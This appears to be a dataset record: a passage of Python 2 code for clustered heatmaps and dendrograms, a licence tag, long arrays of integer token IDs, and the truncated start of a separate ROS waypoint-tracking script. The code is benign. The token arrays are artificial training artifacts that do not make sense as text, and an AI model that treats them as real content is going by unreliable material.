== 'red_black_blue': # cmap=RedBlackBlue() #if color_gradient == 'red_black_green': # cmap=RedBlackGreen() #if color_gradient == 'yellow_black_blue': # cmap=YellowBlackBlue() #if color_gradient == 'seismic': # cmap=pylab.cm.seismic #if color_gradient == 'green_white_purple': # cmap=pylab.cm.PiYG_r #if color_gradient == 'coolwarm': # cmap=pylab.cm.coolwarm ### Scale the max and min colors so that 0 is white/black #vmin=x.min() #vmax=x.max() #vmax = max([vmax,abs(vmin)]) #vmin = vmax*-1 #norm = mpl.colors.Normalize(vmin/2, vmax/2) ### adjust the max and min to scale these colors ### Scale the Matplotlib window size default_window_hight = 10.5 default_window_width = 10 fig = pylab.figure(figsize=(default_window_width,default_window_hight)) ### could use m,n to scale here color_bar_w = 0.015 ### Sufficient size to show color_bar_w = 0.015 ### Sufficient size to show ## calculate positions for all elements # ax1, placement of dendrogram 1, on the left of the heatmap #if row_method != None: w1 = [ax1_x, ax1_y, ax1_w, ax1_h] = [0.05,0.42,0.2,0.4] ### The second value controls the position of the matrix relative to the bottom of the view width_between_ax1_axr = 0.004 height_between_ax1_axc = 0.004 ### distance between the top color bar axis and the matrix # axr, placement of row side colorbar [axr_x, axr_y, axr_w, axr_h] = [0.31,0.1,color_bar_w,0.6] ### second to last controls the width of the side color bar - 0.015 when showing axr_x = ax1_x + ax1_w + width_between_ax1_axr axr_y = ax1_y; axr_h = ax1_h width_between_axr_axm = 0.004 # axc, placement of column side colorbar [axc_x, axc_y, axc_w, axc_h] = [0.4,0.63,0.5,color_bar_w] ### last one controls the hight of the top color bar - 0.015 when showing axc_x = axr_x + axr_w + width_between_axr_axm axc_y = ax1_y + ax1_h + height_between_ax1_axc height_between_axc_ax2 = 0.004 # axm, placement of heatmap for the data matrix [axm_x, axm_y, axm_w, axm_h] = [0.4,0.9,2.5,0.5] axm_x = axr_x + axr_w + width_between_axr_axm axm_y = ax1_y; axm_h = ax1_h axm_w = axc_w # ax2, placement of dendrogram 2, on the top of the heatmap [ax2_x, ax2_y, ax2_w, ax2_h] = [0.3,0.72,0.6,0.15] ### last one controls hight of the dendrogram ax2_x = axr_x + axr_w + width_between_axr_axm ax2_y = ax1_y + ax1_h + height_between_ax1_axc + axc_h + height_between_axc_ax2 ax2_w = axc_w # placement of the phenotype legend [axpl_x, axpl_y, axpl_w, axpl_h] = [0.78,0.84,0.05,0.13] # placement of the sample legend # axcb - placement of the sample legend [axsl_x, axsl_y, axsl_w, axsl_h] = [0.05,0.29,0.05,0.09] # axcb - placement of the color legend [axcb_x, axcb_y, axcb_w, axcb_h] = [0.05, 0.88,0.05,0.09] # Compute and plot top dendrogram if not column_method is None and x.shape[1] > 1: start_time = time.time() d2 = dist.pdist(x.T) D2 = dist.squareform(d2) ax2 = fig.add_axes([ax2_x, ax2_y, ax2_w, ax2_h], frame_on=True) Y2 = sch.linkage(D2, method=column_method, metric=column_metric) ### array-clustering metric - 'average', 'single', 'centroid', 'complete' Z2 = sch.dendrogram(Y2) ind2 = sch.fcluster(Y2,0.7*max(Y2[:,2]),'distance') ### This is the default behavior of dendrogram time_diff = str(round(time.time()-start_time,1)) ax2.set_xticks([]) ### Hides ticks ax2.set_yticks([]) #print 'Column clustering completed in %s seconds' % time_diff else: ind2 = ['NA']*len(column_header) ### Used for exporting the flat cluster data # Compute and plot left dendrogram. if not row_method is None and x.shape[0] > 1: start_time = time.time() x_bin = x.copy() x_bin[x_bin > 0] = 1 d1 = dist.pdist(x_bin) D1 = dist.squareform(d1) # full matrix ax1 = fig.add_axes([ax1_x, ax1_y, ax1_w, ax1_h], frame_on=True) # frame_on may be False ax1.set_xticks([]) ### Hides ticks ax1.set_yticks([]) Y1 = sch.linkage(D1, method=row_method, metric=row_metric) ### gene-clustering metric - 'average', 'single', 'centroid', 'complete' Z1 = sch.dendrogram(Y1, orientation='right') ind1 = sch.fcluster(Y1,0.7*max(Y1[:,2]),'distance') ### This is the default behavior of dendrogram time_diff = str(round(time.time()-start_time,1)) #print 'Row clustering completed in %s seconds' % time_diff else: ind1 = ['NA']*len(row_header) ### Used for exporting the flat cluster data # Plot heatmap color legend n = len(x[0]); m = len(x) if secondary_pt_models is not None: cmaplist = np.array([[247,247,247],[166,206,227],[178,223,138],[31,120,180]])/256.0 else: cmaplist = np.array([[247,247,247],[31,120,180]])/256.0 cmap = mpl.colors.ListedColormap(cmaplist) axcb = fig.add_axes([axcb_x, axcb_y, axcb_w, axcb_h], frame_on=False) # axes for colorbar #cb = mpl.colorbar.ColorbarBase(axcb, cmap=cmap, orientation='horizontal') bounds = numpy.linspace(0, len(cmaplist), len(cmaplist) + 1) norm = mpl.colors.BoundaryNorm(bounds, len(cmaplist)) cb = mpl.colorbar.ColorbarBase(axcb, cmap=cmap, norm=norm, spacing='proportional', ticks=bounds, boundaries=bounds) if secondary_pt_models is not None: axcb.set_yticklabels(["negative", "%s positive" % primary_pt_models.get_name(), "%s positive" % secondary_pt_models.get_name(), "both predictors positive"], fontsize = 8) axcb.yaxis.set_ticks([0.125, 0.375, 0.625, 0.875]) else: axcb.set_yticklabels(["%s negative" % primary_pt_models.get_name(), "%s positive" % primary_pt_models.get_name()], fontsize = 8) axcb.yaxis.set_ticks([0.25, 0.75]) axcb.set_title("Heatmap colorkey", fontsize = 10, loc = "left") # Plot distance matrix. axm = fig.add_axes([axm_x, axm_y, axm_w, axm_h]) # axes for the data matrix xt = x if not column_method is None and x.shape[1] > 1: idx2 = Z2['leaves'] ### apply the clustering for the array-dendrograms to the actual matrix data xt = xt[:,idx2] ind2 = ind2[idx2] ### reorder the flat cluster to match the order of the leaves the dendrogram pass if not row_method is None and x.shape[0] > 1 : idx1 = Z1['leaves'] ### apply the clustering for the gene-dendrograms to the actual matrix data xt = xt[idx1,:] # xt is transformed x ind1 = ind1[idx1] ### reorder the flat cluster to match the order of the leaves the dendrogram ### taken from http://stackoverflow.com/questions/2982929/plotting-results-of-hierarchical-clustering-ontop-of-a-matrix-of-data-in-python/3011894#3011894 im = axm.matshow(xt, aspect='auto', origin='lower', cmap=cmap, norm=norm) ### norm=norm added to scale coloring of expression with zero = white or black axm.set_xticks([]) ### Hides x-ticks axm.set_yticks([]) # Add text new_row_header=[] new_column_header=[] for i in range(x.shape[0]): margin = 0 if len(row_header) > 0 : fontdict = {'fontsize': 7} if len(row_header) > 30 : fontdict = {'fontsize': 7} margin = 0.5 if len(row_header) > 50 : fontdict = {'fontsize': 4} if len(row_header) > 100 : fontdict = {'fontsize': 2} if len(row_header) > 200: fontdict = {'fontsize': 1} #if len(row_header)<100: ### Don't visualize gene associations when more than 100 rows axm.plot([-0.5, len(column_header)], [i - 0.5, i - 0.5], color = 'black', ls = '-') if x.shape[0] > 1 and row_method is not None: label = row_header[idx1[i]] else: label = row_header[i] fontdict.items axm.text(x.shape[1] + 0.2, i - margin , ' ' + label, fontdict = fontdict) new_row_header.append(label) for i in range(x.shape[1]): if not column_method is None and x.shape[1] > 1: axm.plot([i-0.5, i-0.5], [-0.5, len(row_header) - 0.5], color = 'black', ls = '-') axm.text(i-0.5, -0.5, ' '+ column_header[idx2[i]], fontdict = {'fontsize': 7}, rotation=270, verticalalignment="top") # rotation could also be degrees new_column_header.append(column_header[idx2[i]]) else: ### When not clustering columns axm.plot([i-0.5, i-0.5], [-0.5, len(row_header) - 0.5], color = 'black', ls = '-') axm.text(i-0.5, -0.8, ' '+column_header[i], fontdict = {'fontsize': 7}, rotation=270, verticalalignment="top") new_column_header.append(column_header[i]) pt2acc = primary_pt_models.get_pt2acc() pt2acc.index = pt2acc.loc[:, "accession"] #colors colors = ps.read_csv(color_f, index_col = None, sep = "\t") if "category" in pt2acc.columns: #assign categories to colors import sets #get unique categories in the order they appear in the pt mapping table cats = sorted(set(pt2acc.loc[:, "category"].tolist()), key=lambda x: pt2acc.loc[:, "category"].tolist().index(x)) if not colors.shape[0] < len(cats): # Plot phenotype legend axpl = fig.add_axes([axpl_x, axpl_y, axpl_w, axpl_h], frame_on=False) # axes for colorbar #for i in pt2cat2col.index: # if pt2cat2col.loc[i,"Category"] not in cat2col: # cat2col[pt2cat2col.loc[i,"Category"]] = pt2cat2col.loc[i, ["r", "g", "b"]] # col2id[pt2cat2col.loc[i,"Category"]] = j # j += 1 pt2cat = dict([(pt2acc.loc[i, "accession"], pt2acc.loc[i, "category"]) for i in pt2acc.index]) cat2id = dict([(cats[i - 1], i) for i in range(1, len(cats) + 1)]) cmaplist = ps.DataFrame(colors.iloc[:len(cats),]) cmaplist.index = cats cmaplist = cmaplist / 256.0 cmap_p = mpl.colors.ListedColormap(cmaplist.values) bounds = numpy.linspace(0, cmaplist.shape[0], cmaplist.shape[0] + 1) norm = mpl.colors.BoundaryNorm(bounds, cmaplist.shape[0]) cb = mpl.colorbar.ColorbarBase(axpl, cmap=cmap_p, norm=norm, spacing='proportional', ticks=bounds, boundaries=bounds) axpl.set_yticklabels([i for i in cats], fontsize = 6) axpl.yaxis.set_ticks(np.arange(1.0 / len(cats) / 2, 1, 1.0 / len(cats))) axpl.set_title("Phenotype colorkey", fontsize = 10, loc = "left") # Plot colside colors # axc --> axes for column side colorbar axc = fig.add_axes([axc_x, axc_y, axc_w, axc_h]) # axes for column side colorbar dc = numpy.array([cat2id[pt2cat[i]] for i in column_header]).T if x.shape[1] > 1 and column_method is not None: dc = dc[idx2] dc.shape = (1, x.shape[1]) im_c = axc.matshow(dc, aspect='auto', origin='lower', cmap=cmap_p) axc.set_xticks([]) ### Hides ticks axc.set_yticks([]) # Plot rowside colors if sample_f is not None and x.shape[0] > 1: samples = ps.read_csv(sample_f, sep = "\t", index_col = "sample_name") if "category" in samples.columns: #get unique sample categories and sort according to the order they appear in the sampling file sample_cats = sorted(set(samples.loc[:, "category"].tolist()), key = lambda x: samples.loc[:, "category"].tolist().index(x)) cat2col = dict([(sample_cats[i - 1], i) for i in range(1, len(sample_cats) + 1)]) cmaplist = ps.DataFrame(colors.iloc[:len(sample_cats),]) / 256.0 cmap_p = mpl.colors.ListedColormap(cmaplist.values) axr = fig.add_axes([axr_x, axr_y, axr_w, axr_h]) # axes for row side colorbar dr = numpy.array([cat2col[samples.loc[i, "category"]] for i in row_header]).T if row_method is not None: dr = dr[idx1] dr.shape = (samples.shape[0], 1) #cmap_r = mpl.colors.ListedColormap(['r', 'g', 'b', 'y', 'w', 'k', 'm']) im_r = axr.matshow(dr, aspect='auto', origin='lower', cmap=cmap_p) axr.set_xticks([]) ### Hides ticks axr.set_yticks([]) # Plot sample legend axsl = fig.add_axes([axsl_x, axsl_y, axsl_w, axsl_h], frame_on=False) # axes for colorbar bounds = numpy.linspace(0, len(sample_cats), len(sample_cats) + 1) norm = mpl.colors.BoundaryNorm(bounds, len(sample_cats)) cb = mpl.colorbar.ColorbarBase(axsl, cmap=cmap_p, norm=norm, spacing='proportional', ticks=bounds, boundaries=bounds) axsl.yaxis.set_ticks(np.arange(1.0 / len(sample_cats) / 2, 1, 1.0 / len(sample_cats))) axsl.set_yticklabels([i for i in sample_cats], fontsize = 6) axsl.set_title("Sample colorkey", loc = "left", fontsize = 10) #exportFlatClusterData(filename, new_row_header,new_column_header,xt,ind1,ind2) ### Render the graphic if len(row_header)>50 or len(column_header)>50: pylab.rcParams['font.size'] = 6 else: pylab.rcParams['font.size'] = 8 pylab.savefig(filename) pylab.savefig(filename, dpi=300) #,dpi=200 #pylab.show() def getColorRange(x): """ Determines the range of colors, centered at zero, for normalizing cmap """ vmax=x.max() vmin=x.min() if vmax<0 and vmin<0: direction = 'negative' elif vmax>0 and vmin>0: direction = 'positive' else: direction = 'both' if direction == 'both': vmax = max([vmax,abs(vmin)]) vmin = -1*vmax return vmax,vmin else: return vmax,vmin ################# Export the flat cluster data ################# def exportFlatClusterData(filename, new_row_header,new_column_header,xt,ind1,ind2): """ Export the clustered results as a text file, only indicating the flat-clusters rather than the tree """ filename = string.replace(filename,'.pdf','.txt') export_text = open(filename,'w') column_header = string.join(['UID','row_clusters-flat']+new_column_header,'\t')+'\n' ### format column-names for export export_text.write(column_header) column_clusters = string.join(['column_clusters-flat','']+ map(str, ind2),'\t')+'\n' ### format column-flat-clusters for export export_text.write(column_clusters) ### The clusters, dendrogram and flat clusters are drawn bottom-up, so we need to reverse the order to match new_row_header = new_row_header[::-1] xt = xt[::-1] ### Export each row in the clustered data matrix xt i=0 for row in xt: export_text.write(string.join([new_row_header[i],str(ind1[i])]+map(str, row),'\t')+'\n') i+=1 export_text.close() ### Export as CDT file filename = string.replace(filename,'.txt','.cdt') export_cdt = open(filename,'w') column_header = string.join(['UNIQID','NAME','GWEIGHT']+new_column_header,'\t')+'\n' ### format column-names for export export_cdt.write(column_header) eweight = string.join(['EWEIGHT','','']+ ['1']*len(new_column_header),'\t')+'\n' ### format column-flat-clusters for export export_cdt.write(eweight) ### Export each row in the clustered data matrix xt i=0 for row in xt: export_cdt.write(string.join([new_row_header[i]]*2+['1']+map(str, row),'\t')+'\n') i+=1 export_cdt.close() ################# Create Custom Color Gradients ################# #http://matplotlib.sourceforge.net/examples/pylab_examples/custom_cmap.html def RedBlackSkyBlue(): cdict = {'red': ((0.0, 0.0, 0.0), (0.5, 0.0, 0.1), (1.0, 1.0, 1.0)), 'green': ((0.0, 0.0, 0.9), (0.5, 0.1, 0.0), (1.0, 0.0, 0.0)), 'blue': ((0.0, 0.0, 1.0), (0.5, 0.1, 0.0), (1.0, 0.0, 0.0)) } my_cmap = mpl.colors.LinearSegmentedColormap('my_colormap',cdict,256) return my_cmap def RedBlackBlue(): cdict = {'red': ((0.0, 0.0, 0.0), (0.5, 0.0, 0.1), (1.0, 1.0, 1.0)), 'green': ((0.0, 0.0, 0.0), (1.0, 0.0, 0.0)), 'blue': ((0.0, 0.0, 1.0), (0.5, 0.1, 0.0), (1.0, 0.0, 0.0)) } my_cmap = mpl.colors.LinearSegmentedColormap('my_colormap',cdict,256) return my_cmap def RedBlackGreen(): cdict = {'red': ((0.0, 0.0, 0.0), (0.5, 0.0, 0.1), (1.0, 1.0, 1.0)), 'blue': ((0.0, 0.0, 0.0), (1.0, 0.0, 0.0)), 'green': ((0.0, 0.0, 1.0), (0.5, 0.1, 0.0), (1.0, 0.0, 0.0)) } my_cmap = mpl.colors.LinearSegmentedColormap('my_colormap',cdict,256) return my_cmap def YellowBlackBlue(): cdict = {'red': ((0.0, 0.0, 0.0), (0.5, 0.0, 0.1), (1.0, 1.0, 1.0)), 'green': ((0.0, 0.0, 0.8), (0.5, 0.1, 0.0), (1.0, 1.0, 1.0)), 'blue': ((0.0, 0.0, 1.0), (0.5, 0.1, 0.0), (1.0, 0.0, 0.0)) } ### yellow is created by adding y = 1 to RedBlackSkyBlue green last tuple ### modulate between blue and cyan using the last y var in the first green tuple my_cmap = mpl.colors.LinearSegmentedColormap('my_colormap',cdict,256) return my_cmap
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 350, 18309, 687, 653, 1619, 290, 428, 279, 676, 265, 374, 26, 1455, 921, 600, 14, 32595, 14, 957, 15, 25200, 15, 14992, 10848, 13, 72, 16437, 13, 25802, 13, 16614, 1130, 13, 1548, 15, 199, 199, 646, 8027, 465, 22513, 199, 3, 4510, 2222, 13, 88, 2929, 199, 2421, 14, 1180, 360, 7248, 358, 199, 646, 8027, 14, 13563, 465, 19199, 199, 646, 7026, 199, 646, 7026, 14, 4201, 14, 14861, 465, 308, 335, 199, 646, 7026, 14, 11679, 14, 5590, 465, 2917, 199, 646, 2680, 199, 646, 1059, 199, 646, 900, 199, 646, 984, 12, 747, 199, 646, 12733, 199, 646, 2680, 465, 980, 199, 646, 10634, 465, 7347, 199, 504, 1275, 5663, 287, 7818, 7768, 492, 11308, 287, 7818, 7768, 199, 646, 3598, 199, 5451, 14, 23945, 480, 4247, 401, 4637, 29, 14224, 3849, 9, 221, 199, 3, 4247, 3520, 3598, 199, 3, 15, 2647, 15, 773, 15, 647, 3112, 15, 1548, 18, 14, 23, 15, 16440, 15, 7882, 14, 647, 26, 17054, 26, 20799, 3849, 26, 1819, 2605, 9132, 3405, 27, 8152, 6917, 3140, 12, 1325, 315, 314, 6466, 911, 5147, 1819, 2605, 9132, 199, 3, 221, 340, 291, 423, 5173, 7120, 508, 283, 1409, 356, 199, 3, 15, 2647, 15, 773, 15, 647, 3112, 15, 1548, 18, 14, 23, 15, 16440, 15, 7765, 15, 4620, 63, 5607, 14, 647, 26, 9252, 20, 26, 20799, 3849, 26, 9132, 370, 658, 403, 64, 911, 754, 315, 376, 1819, 2605, 909, 9132, 315, 314, 6466, 14, 199, 3, 221, 3365, 275, 2155, 8, 16363, 1137, 3932, 83, 9, 199, 199, 749, 3, 14795, 314, 24787, 19454, 21905, 3, 199, 199, 318, 20408, 1130, 8, 88, 12, 1962, 63, 1291, 12, 2763, 63, 1291, 12, 5062, 63, 541, 63, 992, 12, 3164, 63, 70, 12, 1962, 63, 765, 12, 288, 2763, 63, 765, 12, 1962, 63, 5165, 12, 2763, 63, 5165, 12, 288, 1788, 12, 2690, 63, 70, 12, 13851, 63, 541, 63, 992, 304, 2286, 870, 1867, 78, 5720, 394, 1873, 1047, 2652, 19454, 1808, 450, 83, 367, 4362, 436, 450, 83, 367, 4730, 2, 450, 334, 2301, 63, 5165, 12, 1143, 63, 5165, 9, 5493, 408, 272, 961, 5084, 1233, 365, 4079, 315, 7031, 1777, 641, 314, 557, 466, 3102, 26, 272, 1455, 921, 1753, 14, 78, 371, 830, 14, 957, 15, 18335, 13, 475, 13, 2798, 13, 16614, 1130, 13, 1045, 13, 16440, 306, 2076, 13288, 1082, 17380, 14, 1360, 272, 1455, 921, 23153, 14, 957, 15, 16069, 15, 2114, 10552, 1479, 15, 1917, 13, 475, 13, 362, 13, 7088, 13, 25802, 13, 989, 31137, 13, 475, 13, 2326, 13, 9170, 13, 262, 13, 1589, 13, 848, 17264, 1679, 13, 1353, 339, 671, 365, 376, 333, 701, 302, 6800, 12, 333, 19739, 12, 302, 3805, 397, 272, 408, 2286, 6754, 13930, 314, 3164, 6709, 370, 675, 4079, 641, 314, 2741, 536, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 7510, 63, 6304, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 12415, 82, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 12267, 356, 272, 327, 259, 14920, 29, 10858, 23405, 51, 10562, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 6304, 356, 272, 327, 259, 14920, 29, 10858, 23405, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 7731, 356, 272, 327, 259, 14920, 29, 10858, 23405, 19456, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 14514, 63, 8399, 63, 6304, 356, 272, 327, 259, 14920, 29, 57, 10723, 23405, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 261, 374, 15003, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 261, 374, 15003, 272, 327, 692, 3164, 63, 7490, 508, 283, 7731, 63, 7510, 63, 6653, 11045, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 10542, 57, 39, 63, 82, 272, 327, 692, 3164, 63, 7490, 508, 283, 18499, 10669, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 18499, 10669, 339, 6754, 22869, 314, 1390, 436, 1748, 9229, 880, 626, 378, 365, 10424, 15, 8399, 272, 327, 28895, 29, 88, 14, 827, 342, 272, 327, 30609, 29, 88, 14, 988, 342, 272, 327, 30609, 275, 1390, 779, 30609, 12, 2101, 8, 28895, 3948, 272, 327, 28895, 275, 23349, 1837, 17, 272, 327, 4791, 275, 22513, 14, 7120, 14, 22580, 8, 28895, 15, 18, 12, 23349, 15, 18, 9, 6754, 11311, 314, 1390, 436, 1748, 370, 4666, 3520, 9229, 339, 6754, 22869, 314, 18619, 6711, 4353, 1568, 272, 849, 63, 3806, 63, 72, 1070, 275, 1616, 14, 21, 272, 849, 63, 3806, 63, 2063, 275, 1616, 272, 6085, 275, 19199, 14, 8941, 8, 23899, 2687, 885, 63, 3806, 63, 2063, 12, 885, 63, 3806, 63, 72, 1070, 430, 6754, 4293, 675, 333, 12, 78, 370, 4666, 2348, 272, 3164, 63, 1700, 63, 87, 275, 378, 14, 11164, 6754, 428, 12983, 1568, 370, 2498, 272, 3164, 63, 1700, 63, 87, 275, 378, 14, 11164, 6754, 428, 12983, 1568, 370, 2498, 5493, 925, 8671, 12266, 367, 1006, 4008, 272, 327, 2185, 17, 12, 22286, 402, 477, 977, 293, 1679, 413, 12, 641, 314, 3602, 402, 314, 20408, 1130, 272, 327, 692, 1962, 63, 765, 1137, 488, 26, 336, 17, 275, 5591, 359, 1219, 17, 63, 88, 12, 2185, 17, 63, 89, 12, 2185, 17, 63, 87, 12, 2185, 17, 63, 72, 61, 275, 359, 16, 14, 1717, 12, 16, 14, 2260, 12, 16, 14, 18, 12, 16, 14, 20, 61, 257, 6754, 710, 3499, 574, 13467, 314, 3421, 402, 314, 3634, 3847, 370, 314, 9048, 402, 314, 2455, 272, 3462, 63, 13007, 63, 1219, 17, 63, 1219, 82, 275, 378, 14, 7979, 272, 4569, 63, 13007, 63, 1219, 17, 63, 1219, 67, 275, 378, 14, 7979, 6754, 6033, 3382, 314, 2746, 3164, 4681, 3114, 436, 314, 3634, 2286, 327, 2185, 82, 12, 22286, 402, 1962, 5366, 3164, 1700, 272, 359, 1219, 82, 63, 88, 12, 2185, 82, 63, 89, 12, 2185, 82, 63, 87, 12, 2185, 82, 63, 72, 61, 275, 359, 16, 14, 2192, 12, 16, 14 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 350, 18309, 687, 653, 1619, 290, 428, 279, 676, 265, 374, 26, 1455, 921, 600, 14, 32595, 14, 957, 15, 25200, 15, 14992, 10848, 13, 72, 16437, 13, 25802, 13, 16614, 1130, 13, 1548, 15, 199, 199, 646, 8027, 465, 22513, 199, 3, 4510, 2222, 13, 88, 2929, 199, 2421, 14, 1180, 360, 7248, 358, 199, 646, 8027, 14, 13563, 465, 19199, 199, 646, 7026, 199, 646, 7026, 14, 4201, 14, 14861, 465, 308, 335, 199, 646, 7026, 14, 11679, 14, 5590, 465, 2917, 199, 646, 2680, 199, 646, 1059, 199, 646, 900, 199, 646, 984, 12, 747, 199, 646, 12733, 199, 646, 2680, 465, 980, 199, 646, 10634, 465, 7347, 199, 504, 1275, 5663, 287, 7818, 7768, 492, 11308, 287, 7818, 7768, 199, 646, 3598, 199, 5451, 14, 23945, 480, 4247, 401, 4637, 29, 14224, 3849, 9, 221, 199, 3, 4247, 3520, 3598, 199, 3, 15, 2647, 15, 773, 15, 647, 3112, 15, 1548, 18, 14, 23, 15, 16440, 15, 7882, 14, 647, 26, 17054, 26, 20799, 3849, 26, 1819, 2605, 9132, 3405, 27, 8152, 6917, 3140, 12, 1325, 315, 314, 6466, 911, 5147, 1819, 2605, 9132, 199, 3, 221, 340, 291, 423, 5173, 7120, 508, 283, 1409, 356, 199, 3, 15, 2647, 15, 773, 15, 647, 3112, 15, 1548, 18, 14, 23, 15, 16440, 15, 7765, 15, 4620, 63, 5607, 14, 647, 26, 9252, 20, 26, 20799, 3849, 26, 9132, 370, 658, 403, 64, 911, 754, 315, 376, 1819, 2605, 909, 9132, 315, 314, 6466, 14, 199, 3, 221, 3365, 275, 2155, 8, 16363, 1137, 3932, 83, 9, 199, 199, 749, 3, 14795, 314, 24787, 19454, 21905, 3, 199, 199, 318, 20408, 1130, 8, 88, 12, 1962, 63, 1291, 12, 2763, 63, 1291, 12, 5062, 63, 541, 63, 992, 12, 3164, 63, 70, 12, 1962, 63, 765, 12, 288, 2763, 63, 765, 12, 1962, 63, 5165, 12, 2763, 63, 5165, 12, 288, 1788, 12, 2690, 63, 70, 12, 13851, 63, 541, 63, 992, 304, 2286, 870, 1867, 78, 5720, 394, 1873, 1047, 2652, 19454, 1808, 450, 83, 367, 4362, 436, 450, 83, 367, 4730, 2, 450, 334, 2301, 63, 5165, 12, 1143, 63, 5165, 9, 5493, 408, 272, 961, 5084, 1233, 365, 4079, 315, 7031, 1777, 641, 314, 557, 466, 3102, 26, 272, 1455, 921, 1753, 14, 78, 371, 830, 14, 957, 15, 18335, 13, 475, 13, 2798, 13, 16614, 1130, 13, 1045, 13, 16440, 306, 2076, 13288, 1082, 17380, 14, 1360, 272, 1455, 921, 23153, 14, 957, 15, 16069, 15, 2114, 10552, 1479, 15, 1917, 13, 475, 13, 362, 13, 7088, 13, 25802, 13, 989, 31137, 13, 475, 13, 2326, 13, 9170, 13, 262, 13, 1589, 13, 848, 17264, 1679, 13, 1353, 339, 671, 365, 376, 333, 701, 302, 6800, 12, 333, 19739, 12, 302, 3805, 397, 272, 408, 2286, 6754, 13930, 314, 3164, 6709, 370, 675, 4079, 641, 314, 2741, 536, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 7510, 63, 6304, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 12415, 82, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 12267, 356, 272, 327, 259, 14920, 29, 10858, 23405, 51, 10562, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 6304, 356, 272, 327, 259, 14920, 29, 10858, 23405, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 581, 63, 8399, 63, 7731, 356, 272, 327, 259, 14920, 29, 10858, 23405, 19456, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 14514, 63, 8399, 63, 6304, 356, 272, 327, 259, 14920, 29, 57, 10723, 23405, 15617, 342, 272, 327, 692, 3164, 63, 7490, 508, 283, 261, 374, 15003, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 261, 374, 15003, 272, 327, 692, 3164, 63, 7490, 508, 283, 7731, 63, 7510, 63, 6653, 11045, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 10542, 57, 39, 63, 82, 272, 327, 692, 3164, 63, 7490, 508, 283, 18499, 10669, 356, 272, 327, 259, 14920, 29, 32538, 14, 4400, 14, 18499, 10669, 339, 6754, 22869, 314, 1390, 436, 1748, 9229, 880, 626, 378, 365, 10424, 15, 8399, 272, 327, 28895, 29, 88, 14, 827, 342, 272, 327, 30609, 29, 88, 14, 988, 342, 272, 327, 30609, 275, 1390, 779, 30609, 12, 2101, 8, 28895, 3948, 272, 327, 28895, 275, 23349, 1837, 17, 272, 327, 4791, 275, 22513, 14, 7120, 14, 22580, 8, 28895, 15, 18, 12, 23349, 15, 18, 9, 6754, 11311, 314, 1390, 436, 1748, 370, 4666, 3520, 9229, 339, 6754, 22869, 314, 18619, 6711, 4353, 1568, 272, 849, 63, 3806, 63, 72, 1070, 275, 1616, 14, 21, 272, 849, 63, 3806, 63, 2063, 275, 1616, 272, 6085, 275, 19199, 14, 8941, 8, 23899, 2687, 885, 63, 3806, 63, 2063, 12, 885, 63, 3806, 63, 72, 1070, 430, 6754, 4293, 675, 333, 12, 78, 370, 4666, 2348, 272, 3164, 63, 1700, 63, 87, 275, 378, 14, 11164, 6754, 428, 12983, 1568, 370, 2498, 272, 3164, 63, 1700, 63, 87, 275, 378, 14, 11164, 6754, 428, 12983, 1568, 370, 2498, 5493, 925, 8671, 12266, 367, 1006, 4008, 272, 327, 2185, 17, 12, 22286, 402, 477, 977, 293, 1679, 413, 12, 641, 314, 3602, 402, 314, 20408, 1130, 272, 327, 692, 1962, 63, 765, 1137, 488, 26, 336, 17, 275, 5591, 359, 1219, 17, 63, 88, 12, 2185, 17, 63, 89, 12, 2185, 17, 63, 87, 12, 2185, 17, 63, 72, 61, 275, 359, 16, 14, 1717, 12, 16, 14, 2260, 12, 16, 14, 18, 12, 16, 14, 20, 61, 257, 6754, 710, 3499, 574, 13467, 314, 3421, 402, 314, 3634, 3847, 370, 314, 9048, 402, 314, 2455, 272, 3462, 63, 13007, 63, 1219, 17, 63, 1219, 82, 275, 378, 14, 7979, 272, 4569, 63, 13007, 63, 1219, 17, 63, 1219, 67, 275, 378, 14, 7979, 6754, 6033, 3382, 314, 2746, 3164, 4681, 3114, 436, 314, 3634, 2286, 327, 2185, 82, 12, 22286, 402, 1962, 5366, 3164, 1700, 272, 359, 1219, 82, 63, 88, 12, 2185, 82, 63, 89, 12, 2185, 82, 63, 87, 12, 2185, 82, 63, 72, 61, 275, 359, 16, 14, 2192, 12, 16, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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!/usr/bin/env python import argparse import sys import yaml import rospy import rospkg from uav_abstraction_layer.srv import TakeOff, GoToWaypoint, Land from geometry_msgs.msg import PoseStamped def track_waypoints(): # Parse arguments parser = argparse.ArgumentParser(description='Track waypoints defined in a yaml file') parser.add_argument('-plan_package', type=str, default='uav_abstraction_layer', help='Name of the package where plan to track is stored') parser.add_argument('-plan_file', type=str, default='wp_default.yaml', help='Name of the file inside plan_package/plans') parser.add_argument('-wait_for', type=str, default='path', help='Wait for human response: [none]/[path]/[wp]') args, unknown = parser.parse_known_args() # utils.check_unknown_args(unknown) rospy.init_node('waypoint_tracker') file_name = args.plan_file # Autocomplete file extension if not file_name.endswith('.yaml'): file_name = file_name + '.yaml' file_url = rospkg.RosPack().get_path(args.plan_package) + '/plans/' + file_name with open(file_url, 'r') as wp_file: wp_data = yaml.load(wp_file) if 'frame_id' not in wp_data: rospy.logerr("Must specify frame_id in waypoints file") # TODO: default to ''? return wp_list = [] for wp_id in range(1000): if 'wp_' + str(wp_id) in wp_data: wp_raw = wp_data['wp_' + str(wp_id)] waypoint = 